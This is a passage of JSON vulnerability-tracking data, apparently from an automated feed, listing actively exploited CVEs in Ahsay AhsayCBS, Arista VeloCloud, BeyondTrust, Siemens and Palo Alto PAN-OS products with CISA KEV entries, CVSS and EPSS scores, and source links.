CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://help.nextcloud.com/t/to-collabora-built-in-user-update-asap/250516","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"CISA KEV entry CVE-2026-110447","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-110447 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"The Hacker News: CISA Flags Two Actively Exploited Critical Flaws in Collabora Online and Arista VeloCloud","url":"https://thehackernews.com/2026/10/cisa-flags-two-actively-exploited.html","type":"reporting","publishedAt":"2026-10-24T06:25:57.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110447&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110447, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105134","cveId":"CVE-2026-105134","aliases":[],"kind":"vulnerability","title":"Ahsay AhsayCBS Command Injection Vulnerability","summary":"A flaw has been found in Ahsay AhsayCBS up to 9.15.2.69/10.3.4.44. This vulnerability affects unknown code of the file /rps/api/json/UpdateReceivers.do of the component Replication Receiver. Executing a manipulation of the argument random can lead to os command injection. It is possible to launch the attack remotely. The exploit has been published and may be used. Upgrading to version 9.15.2.70 and 10.3.4.45 is able to resolve this issue. Upgrading the affected component is advised. The initial patch did not fix the security vulnerability properly. An update of the CVE entry to reflect this became necessary.","detail":"A flaw has been found in Ahsay AhsayCBS up to 9.15.2.69/10.3.4.44. This vulnerability affects unknown code of the file /rps/api/json/UpdateReceivers.do of the component Replication Receiver. Executing a manipulation of the argument random can lead to os command injection. It is possible to launch the attack remotely. The exploit has been published and may be used. Upgrading to version 9.15.2.70 and 10.3.4.45 is able to resolve this issue. Upgrading the affected component is advised. The initial patch did not fix the security vulnerability properly. An update of the CVE entry to reflect this became necessary.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-04T07:16:33.480Z","updatedAt":"2026-10-26T18:06:57.930Z","regions":["Global"],"vendor":"ahsay","product":"cloud backup suite","stacks":["Ahsay","AhsayCBS","cloud backup suite"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-14","dueAt":"2026-10-17","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-105134","asOf":"2026-10-04T05:30:12.882Z"},"epss":{"probability":0.86266,"percentile":0.99731,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105134&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105134","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105134","type":"primary","publishedAt":"2026-10-04T07:16:33.480Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ahsay.com/en/company/announcements/patch-cve-105133-105134-update","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"CISA KEV entry CVE-2026-105134","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-105134 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105134&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105134, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA VulDB","url":"https://cveawg.mitre.org/api/cve/CVE-2026-105134","type":"primary","publishedAt":"2026-10-04T05:30:12.882Z","checkedAt":"2026-10-26T13:55:58.691Z","supports":"The published CVE-2026-105134 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:55:58.691Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105133","cveId":"CVE-2026-105133","aliases":[],"kind":"vulnerability","title":"Ahsay AhsayCBS Improper Authentication Vulnerability","summary":"A vulnerability was detected in Ahsay AhsayCBS up to 9.15.2.69/10.3.4.44. This affects the function checkSysPwd of the file com/ahsay/obs/api/ApiStructsAction.java of the component API. Performing a manipulation of the argument random results in improper authentication. It is possible to initiate the attack remotely. The exploit is now public and may be used. Upgrading to version 9.15.2.70 and 10.3.4.45 is able to mitigate this issue. It is recommended to upgrade the affected component. The initial patch did not fix the security vulnerability properly. An update of the CVE entry to reflect this became necessary.","detail":"A vulnerability was detected in Ahsay AhsayCBS up to 9.15.2.69/10.3.4.44. This affects the function checkSysPwd of the file com/ahsay/obs/api/ApiStructsAction.java of the component API. Performing a manipulation of the argument random results in improper authentication. It is possible to initiate the attack remotely. The exploit is now public and may be used. Upgrading to version 9.15.2.70 and 10.3.4.45 is able to mitigate this issue. It is recommended to upgrade the affected component. The initial patch did not fix the security vulnerability properly. An update of the CVE entry to reflect this became necessary.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-04T07:16:33.087Z","updatedAt":"2026-10-26T18:07:09.000Z","regions":["Global"],"vendor":"ahsay","product":"cloud backup suite","stacks":["Ahsay","AhsayCBS","cloud backup suite"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-14","dueAt":"2026-10-17","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-105133","asOf":"2026-10-04T05:15:14.561Z"},"epss":{"probability":0.79236,"percentile":0.99595,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105133&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105133","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105133","type":"primary","publishedAt":"2026-10-04T07:16:33.087Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ahsay.com/en/company/announcements/patch-cve-105133-105134-update","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"CISA KEV entry CVE-2026-105133","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-105133 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105133&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105133, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA VulDB","url":"https://cveawg.mitre.org/api/cve/CVE-2026-105133","type":"primary","publishedAt":"2026-10-04T05:15:14.561Z","checkedAt":"2026-10-26T13:55:58.691Z","supports":"The published CVE-2026-105133 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:55:58.691Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114625","cveId":"CVE-2026-114625","aliases":[],"kind":"vulnerability","title":"Arista VeloCloud Orchestrator SQL Injection Vulnerability","summary":"VeloCloud Orchestrator (VCO) on-prem has a security issue where this issue may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator.\n\nOn an affected system, any authenticated user can gain operator privileges and masquerade as a local \"superuser operator\" user. This includes access to functionality that is intended for internal use only and which is not intended to be remotely accessible.\n\nHosted, including Dedicated, versions of VCO were impacted and have already been patched.","detail":"VeloCloud Orchestrator (VCO) on-prem has a security issue where this issue may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator.\n\nOn an affected system, any authenticated user can gain operator privileges and masquerade as a local \"superuser operator\" user. This includes access to functionality that is intended for internal use only and which is not intended to be remotely accessible.\n\nHosted, including Dedicated, versions of VCO were impacted and have already been patched.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T21:17:16.870Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"arista","product":"velocloud orchestrator","stacks":["Arista","VeloCloud Orchestrator","velocloud orchestrator"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-23","dueAt":"2026-10-26","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114625","asOf":"2026-10-26T13:10:00.140Z"},"epss":{"probability":0.01025,"percentile":0.63324,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114625&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114625","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114625","type":"primary","publishedAt":"2026-10-22T21:17:16.870Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.arista.com/en/support/advisories-notices/security-advisory/24838-security-advisory-0199","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"CISA KEV entry CVE-2026-114625","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-114625 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114625&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114625, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102764","cveId":"CVE-2026-102764","aliases":[],"kind":"vulnerability","title":"BeyondTrust Remote Support Authentication Bypass by Spoofing Vulnerability","summary":"The vulnerability exists within internal components of BeyondTrust’s Remote Support product. The components did not adequately validate the origin of the messages it received. Under the right conditions, this could allow an attacker to perform file operations on the appliance.","detail":"The vulnerability exists within internal components of BeyondTrust’s Remote Support product. The components did not adequately validate the origin of the messages it received. Under the right conditions, this could allow an attacker to perform file operations on the appliance.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:00.117Z","updatedAt":"2026-10-17T04:16:47.117Z","regions":["Global"],"vendor":"beyondtrust","product":"remote support","stacks":["BeyondTrust","Remote Support","remote support"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-16","dueAt":"2026-10-19","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102764","asOf":"2026-10-17T04:16:47.117Z"},"epss":{"probability":0.20341,"percentile":0.97462,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102764&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102764","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102764","type":"primary","publishedAt":"2026-10-15T21:17:00.117Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.beyondtrust.com/blog/entry/bt26-05","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"CISA KEV entry CVE-2026-102764","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-102764 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102764&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102764, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110936","cveId":"CVE-2026-110936","aliases":[],"kind":"vulnerability","title":"Siemens Software Center Uncontrolled Search Path Element Vulnerability","summary":"A vulnerability has been identified in Siemens Software Center (All versions < V4.0.9.8). The affected application loads dynamic-link libraries (DLLs) from an uncontrolled search path. This could allow an authenticated local attacker to place a specially crafted DLL in a directory that the application searches, leading to arbitrary code execution with the privileges of the affected application.","detail":"A vulnerability has been identified in Siemens Software Center (All versions < V4.0.9.8). The affected application loads dynamic-link libraries (DLLs) from an uncontrolled search path. This could allow an authenticated local attacker to place a specially crafted DLL in a directory that the application searches, leading to arbitrary code execution with the privileges of the affected application.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T15:17:30.383Z","updatedAt":"2026-10-21T13:10:11.553Z","regions":["Global"],"vendor":"siemens","product":"software center","stacks":["Siemens","Software Center","software center"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-20","dueAt":"2026-11-03","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110936","asOf":"2026-10-21T13:10:11.553Z"},"epss":{"probability":0.00967,"percentile":0.61493,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110936&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110936","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110936","type":"primary","publishedAt":"2026-10-15T15:17:30.383Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://cert-portal.siemens.com/productcert/html/ssa-580366.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"CISA KEV entry CVE-2026-110936","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-110936 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110936&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110936, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0322","cveId":"CVE-2026-0322","aliases":[],"kind":"vulnerability","title":"Palo Alto Networks PAN-OS Code Injection Vulnerability","summary":"A remote code execution (RCE) vulnerability in the management interface of Palo Alto Networks PAN-OS® software enables an authenticated attacker with network access to execute arbitrary code with root privileges on the firewall.\n\n\n\nThe security risk posed by this issue is minimized by restricting access to the management interface to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\n\n\n\nThis issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).\n\n\n\nCloud NGFW and Prisma® Access are not impacted by this vulnerability.","detail":"A remote code execution (RCE) vulnerability in the management interface of Palo Alto Networks PAN-OS® software enables an authenticated attacker with network access to execute arbitrary code with root privileges on the firewall.\n\n\n\nThe security risk posed by this issue is minimized by restricting access to the management interface to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\n\n\n\nThis issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).\n\n\n\nCloud NGFW and Prisma® Access are not impacted by this vulnerability.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:07.743Z","updatedAt":"2026-10-15T13:47:26.713Z","regions":["Global"],"vendor":"paloaltonetworks","product":"pan-os","stacks":["Palo Alto Networks","PAN-OS","pan-os"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-14","dueAt":"2026-10-17","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching 